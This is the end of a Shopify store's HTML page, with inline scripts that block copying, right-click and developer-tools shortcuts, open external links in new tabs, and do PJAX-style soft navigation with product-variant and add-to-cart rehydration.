          document.addEventListener('shopify:section:reorder', () => initAnimations(document, true));
        }
      
    </script>

    <script>
      (function () {
        var links = document.links;
        for (let i = 0; i < links.length; i++) {
          if (links[i].hostname !== window.location.hostname) {
            links[i].target = '_blank';
            links[i].rel = 'noreferrer noopener';
          }
        }
      })();
    </script>

    
      <style>
        * {
          -webkit-user-select: none;
          -webkit-touch-callout: none;
          user-select: none;
        }
        input, textarea, select {
          -webkit-user-select: text !important;
          -webkit-touch-callout: default !important;
          user-select: text !important;
        }
      </style>
      <script>
        window.addEventListener('contextmenu', (e) => {
          e.preventDefault();
        });
        document.addEventListener('selectstart', (e) => {
          e.preventDefault();
        });
        document.addEventListener('DOMContentLoaded', function () {
          document.querySelectorAll('img').forEach((img) => {
            img.addEventListener('dragstart', function (e) {
              e.preventDefault();
            });
          });
        });
        function ctrlShiftKey(e, keyCode) {
          return e.ctrlKey && e.shiftKey && e.keyCode === keyCode.charCodeAt(0);
        }
        document.addEventListener('keydown', function (e) {
          if (
            event.keyCode === 123 ||
            ctrlShiftKey(e, 'I') ||
            ctrlShiftKey(e, 'J') ||
            ctrlShiftKey(e, 'C') ||
            (e.ctrlKey && e.keyCode === 'U'.charCodeAt(0))
          ) {
            e.preventDefault();
          }
        });
      </script>
       <script>
      document.addEventListener('DOMContentLoaded', () => {
        document.querySelectorAll('.email-field-wrapper input').forEach((input) => {
          input.addEventListener('input', () => {
            input.classList.toggle('has-value', input.value.trim() !== '');
          });
        });
      });
    </script>
<script>
(function(){
  const CONTAINER_SELECTOR = '#MainContent';
  const BLOCKLIST = [
    '.no-pjax','[data-no-pjax]','a[href^="#"]',
    'a[target="_blank"]','a[download]',
    'a[href*="cart"]','a[href*="/checkout"]'
  ];

  if ('scrollRestoration' in history) history.scrollRestoration = 'manual';
  if (!history.state || !history.state.pjax) {
    try { history.replaceState({ pjax:true, url: location.href }, '', location.href); } catch {}
  }

  let inFlight = false;
  let lastURL  = location.href;

  const keyScroll = (url) => 'pjax:scroll:' + url;

  // ---------- helpers ----------
  function isSameOrigin(url){ try{const u=new URL(url,location.href);return u.origin===location.origin;}catch{return false;} }
  function isProductURL(url){ try{const u=new URL(url,location.href);return u.pathname.startsWith('/products/');}catch{return false;} }
  function shouldBypass(a,evt){
    if(!a||!a.href) return true;
    if(!isSameOrigin(a.href)) return true;
    if (BLOCKLIST.some(sel=>a.matches(sel))) return true;
    if (evt && (evt.button!==0 || evt.metaKey || evt.ctrlKey || evt.shiftKey || evt.altKey)) return true;
    return false;
  }
  function saveScroll(url){ try{ sessionStorage.setItem(keyScroll(url), String(window.scrollY||window.pageYOffset||0)); }catch{} }
  function readScroll(url){ try{ const v=sessionStorage.getItem(keyScroll(url)); return v?parseInt(v,10):0; }catch{return 0;} }
  function clearScroll(url){ try{ sessionStorage.removeItem(keyScroll(url)); }catch{} }

  // header height recalculated each time (sticky headers can resize)
  function headerHeight() {
    const sticky = document.querySelector('header[role="banner"], .shopify-section-header-sticky, #shopify-section-header');
    return sticky ? sticky.offsetHeight : 0;
  }
  function scrollTopMinusHeader(container) {
    const h = headerHeight();
    const baseTop = container ? (container.getBoundingClientRect().top + window.scrollY) : 0;
    window.scrollTo(0, Math.max(0, baseTop - h));
  }
  // stubborn: fight late shifts & image loads
  function stubbornProductScroll(container) {
    // reset first to avoid drift accumulation
    window.scrollTo(0, 0);
    // immediate offset
    scrollTopMinusHeader(container);
    // next two frames
    requestAnimationFrame(() => {
      scrollTopMinusHeader(container);
      requestAnimationFrame(() => {
        scrollTopMinusHeader(container);
      });
    });
    // timed retries (5x / 100ms)
    let i = 0;
    const retry = () => { scrollTopMinusHeader(container); if (++i < 5) setTimeout(retry, 100); };
    setTimeout(retry, 100);
    // once first pending image loads, adjust again
    const imgs = container ? Array.from(container.querySelectorAll('img')) : [];
    const pending = imgs.find(img => !img.complete);
    if (pending) pending.addEventListener('load', () => scrollTopMinusHeader(container), { once:true });
  }

  // Shopify section lifecycle events (helps themes re-init widgets)
  function dispatchSectionEvent(root,name){
    root.querySelectorAll('[data-section-id]').forEach(el=>{
      const id=el.getAttribute('data-section-id');
      el.dispatchEvent(new CustomEvent(name,{bubbles:true,detail:{sectionId:id}}));
      document.dispatchEvent(new CustomEvent(name,{detail:{sectionId:id,target:el}}));
    });
  }

  // Re-run scripts that were inside the swapped content
function replayScripts(fragment){
  fragment.querySelectorAll('script').forEach(oldS=>{
    const s = document.createElement('script');

    // clone attributes
    for (const {name,value} of Array.from(oldS.attributes)) {
      if (name === 'integrity') continue; // avoid SRI mismatch after cache-bust
      s.setAttribute(name, value);
    }

    const src = oldS.getAttribute('src');
    if (src) {
      const bust = (src.includes('?') ? '&' : '?') + 'pjax=' + Date.now();
      s.src = src + bust;              // force re-execution of external scripts in fragment
    } else {
      s.textContent = oldS.textContent; // re-run inline
    }

    // keep type/module/async/defer behavior
    if (oldS.type) s.type = oldS.type;
    s.async = oldS.async;
    s.defer = oldS.defer;

    document.body.appendChild(s);
    if (!src) s.remove(); // don’t leave duplicate inline scripts in DOM
  });
}

  function themeHydrate(container){
    dispatchSectionEvent(container,'shopify:section:load');
    try { if (window.Shrine && typeof window.Shrine.boot==='function') window.Shrine.boot(); } catch {}
    try { if (typeof initAnimations==='function') initAnimations(document,false); } catch {}
    window.dispatchEvent(new CustomEvent('pjax:ready'));
  }

  // ----- Product-page rehydration: kick variant logic so gallery & ATC sync -----
function rehydrateProductPage(container) {
  // 1) If the theme exposes a product boot method, use it first
  try { if (window.Shrine && typeof window.Shrine.bootProduct === 'function') { window.Shrine.bootProduct(); } } catch {}

  // 2) Kick common Shopify/Dawn-like components

  // a) custom element <variant-radios> or <variant-selects>
  container.querySelectorAll('variant-radios, variant-selects').forEach(el => {
    // if component has an API, call it; otherwise emulate a user change
    if (typeof el.onVariantChange === 'function') {
      try { el.onVariantChange(); } catch {}
    } else {
      const target = el.querySelector('input[type="radio"]:checked') || el.querySelector('select');
      if (target) {
        const ev = new Event('change', { bubbles: true });
        target.dispatchEvent(ev);
      }
    }
  });

  // b) plain radios/selects used as variant pickers
  //    (name="options[...]" or data-variant-option)
  const changed = new Event('change', { bubbles: true });
  container.querySelectorAll('input[type="radio"][name^="options["]:checked').forEach(inp => inp.dispatchEvent(changed));
  container.querySelectorAll('select[name^="options["], select[data-variant-option]').forEach(sel => sel.dispatchEvent(changed));

  // 3) If a ProductForm constructor exists, (re)bind it
  try {
    if (window.ProductForm && typeof window.ProductForm === 'function') {
      container.querySelectorAll('product-form').forEach(host => {
        // If theme stores instance on element, avoid double-binding
        if (!host.__boundProductForm) {
          try { host.__boundProductForm = new window.ProductForm(host); } catch {}
        }
      });
    }
  } catch {}

  // 4) Ensure ATC reflects the currently selected variant by nudging the hidden id input
  container.querySelectorAll('form[action*="/cart/add"]').forEach(form => {
    const idInput = form.querySelector('input[name="id"]');
    if (idInput && idInput.value) {
      // Fire a synthetic event some themes listen to
      form.dispatchEvent(new CustomEvent('variant:change', { bubbles: true, detail: { variantId: idInput.value } }));
      // Also trigger change on the form; theme code often hooks this
      form.dispatchEvent(changed);
    }
  });
}

  // ---------- core nav ----------
  async function softNavigate(url,push=true,fromPopstate=false){
    if (inFlight) return;
    if (!isSameOrigin(url)) { location.href=url; return; }

    const container=document.querySelector(CONTAINER_SELECTOR);
    if (!container){ location.href=url; return; }

    // Save scroll for the page we're leaving (clicks only)
    if (!fromPopstate) saveScroll(lastURL);
    // If we are going TO a product, never restore a saved scroll for it
    if (isProductURL(url)) clearScroll(url);

    dispatchSectionEvent(container,'shopify:section:unload');
    inFlight=true; container.setAttribute('aria-busy','true');

    let html;
    try{
      const res=await fetch(url,{credentials:'same-origin',headers:{'X-Requested-With':'fetch'}});
      if(!res.ok) throw new Error('HTTP '+res.status);
      html=await res.text();
    }catch{
      container.removeAttribute('aria-busy'); inFlight=false; location.href=url; return;
    }

    const doc=new DOMParser().parseFromString(html,'text/html');
    const next=doc.querySelector(CONTAINER_SELECTOR);
    if (!next){ container.removeAttribute('aria-busy'); inFlight=false; location.href=url; return; }

    // swap
    container.innerHTML = next.innerHTML;

    const t=doc.querySelector('title'); if (t) document.title=t.textContent;
    if (push){ try{ history.pushState({ pjax:true, url },'',url); }catch{} }
    else if (!history.state || !history.state.pjax){ try{ history.replaceState({ pjax:true, url },'',url); }catch{} }

// scripts & hydration
replayScripts(next);

// one consolidated hydrate pass (prevents duplicate init)
requestAnimationFrame(() => {
  themeHydrate(container);
  rehydrateProductPage(container);
  // light second pass shortly after in case late widgets mount
  setTimeout(() => {
    themeHydrate(container);
    rehydrateProductPage(container);
  }, 80);
});

container.removeAttribute('aria-busy');
inFlight = false;
lastURL = url;

    // let DOM settle, then hydrate theme and product page
requestAnimationFrame(() => {
  themeHydrate(container);
  // Run product-page rehydration twice (immediately + shortly after) to beat late mounts
  rehydrateProductPage(container);
  setTimeout(() => rehydrateProductPage(container), 80);
  // second theme pass (you already had this)
  setTimeout(() => themeHydrate(container), 50);
});

function attachVariantPrime(root){
  // read product JSON from fragment
  const product = (() => {
    const sels = [
      'script[type="application/json"][data-product]',
      'script[type="application/json"][data-product-json]',
      '[data-section-type="product"] script[type="application/json"]',
      'script[type="application/json"][id^="ProductJson-"]',
      'product-form script[type="application/json"]'
    ];
    for (const sel of sels){
      const el = root.querySelector(sel);
      if (el && el.textContent.trim()){
        try { return JSON.parse(el.textContent.trim()); } catch {}
      }
    }
    return null;
  })();

  // helper: read selected options from radios/selects/swatches
  function readSelected(){
    if (!product || !Array.isArray(product.options)) return null;
    const out = [];
    for (const name of product.options){
      const radio  = root.querySelector(`input[type="radio"][name="options[${CSS.escape(name)}]"]:checked`);
      const select = root.querySelector(`select[name="options[${CSS.escape(name)}]"]`);
      const swatch = Array.from(root.querySelectorAll('[role="radio"][aria-checked="true"],[aria-pressed="true"]'))
        .find(btn =>
          (btn.dataset.optionName && btn.dataset.optionName === String(name)) ||
          (btn.closest('[data-option-name]') && btn.closest('[data-option-name]').dataset.optionName === String(name))
        );
      const ctrl = radio || select || swatch;
      if (!ctrl) return null;
      let val = ctrl.value;
      if (swatch) val = ctrl.dataset.optionValue || ctrl.textContent.trim();
      out.push(String(val));
    }
    return out;
  }

  // helper: find variant by options array
  function findVariant(opts){
    if (!product || !opts) return null;
    const vs = product.variants || [];
    return vs.find(v => Array.isArray(v.options) &&
                        v.options.length === opts.length &&
                        v.options.every((val,i)=> String(val) === String(opts[i])));
  }

  // enable ATC if an id exists; if not, try compute from selection/default
  function prime(){
    root.querySelectorAll('form[action*="/cart/add"]').forEach(form=>{
      const atc = form.querySelector('button[type="submit"], [name="add"]');
      const idInput = form.querySelector('input[name="id"]');
      if (!atc) return;

      const enableBtn = () => {
        atc.disabled = false;
        atc.setAttribute('aria-disabled','false');
        atc.classList.remove('disabled','is-disabled');
      };

      // Case 1: theme already set the id — just enable
      if (idInput && idInput.value) {
        enableBtn();
        form.dispatchEvent(new CustomEvent('variant:change', { bubbles:true, detail:{ variantId:idInput.value }}));
        return;
      }

      // Case 2: compute from current selection
      const opts = readSelected();
      let v = findVariant(opts);

      // Case 3: fall back to first available/default variant from JSON
      if (!v && product && Array.isArray(product.variants)) {
        v = product.variants.find(x => x.available) || product.variants[0] || null;
      }

      if (v) {
        if (idInput) idInput.value = String(v.id);
        enableBtn();
        // keep ?variant in URL for share/back/forward
        try{
          const u = new URL(location.href);
          u.searchParams.set('variant', v.id);
          history.replaceState(history.state,'', u.toString());
        }catch{}
        form.dispatchEvent(new CustomEvent('variant:change', { bubbles:true, detail:{ variant:v, variantId:v.id }}));
      }
    });
  }

  // bind to option changes so ATC stays in sync after user picks
  const onChange = (e)=>{
    const t = e.target;
    if (!t) return;
    if (
      t.matches('input[type="radio"][name^="options["], select[name^="options["]') ||
      t.closest('variant-radios') || t.closest('variant-selects') ||
      t.matches('[role="radio"], [aria-pressed]')
    ) {
      setTimeout(prime, 0);
      setTimeout(prime, 120);
      setTimeout(prime, 300);
    }
  };
  root.addEventListener('change', onChange);
  root.addEventListener('click', onChange, true);

  // initial passes (catch late mounts)
  setTimeout(prime, 40);
  setTimeout(prime, 180);
}

// after you already call rehydrateProductPage(container)…
attachVariantPrime(container);
setTimeout(()=>attachVariantPrime(container), 120);

    // -------- scroll policy --------
    requestAnimationFrame(() => {
      if (isProductURL(url)) {
        stubbornProductScroll(container);
      } else if (fromPopstate) {
        window.scrollTo(0, readScroll(url));
      } else {
        window.scrollTo(0, 0);
      }
    });
  }

  // intercept clicks
  document.addEventListener('click',(e)=>{
    const a=e.target.closest && e.target.closest('a');
    if (shouldBypass(a,e)) return;
    e.preventDefault();
    softNavigate(a.href,true,false);
  });

  // back/forward
  window.addEventListener('popstate',()=>{
    const url = location.href;
    if (!isSameOrigin(url)) return;
    softNavigate(url,false,true);
  });
})();
</script>
<style>
details-modal.header__search {
    display: none !important;
}
</style>
    
    
    
  <style>  </style>
</body>
</html>